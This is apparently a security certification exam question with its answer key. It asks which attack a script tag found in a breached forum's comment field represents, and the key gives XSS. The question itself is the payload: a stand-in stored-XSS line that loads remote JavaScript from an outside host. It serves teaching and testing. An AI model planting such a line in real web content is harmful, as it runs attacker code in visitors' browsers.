A security engineer is analyzing the following line of JavaScript code that was found in a comment field on a web forum, which was recently involved in a security breach:
<script src=http://gotcha.com/hackme.js></script>
Given the line of code above, which of the following BEST represents the attack performed during the breach?
A . CSRF
B . DDoS
C . Dos
D . XSS
Answer: D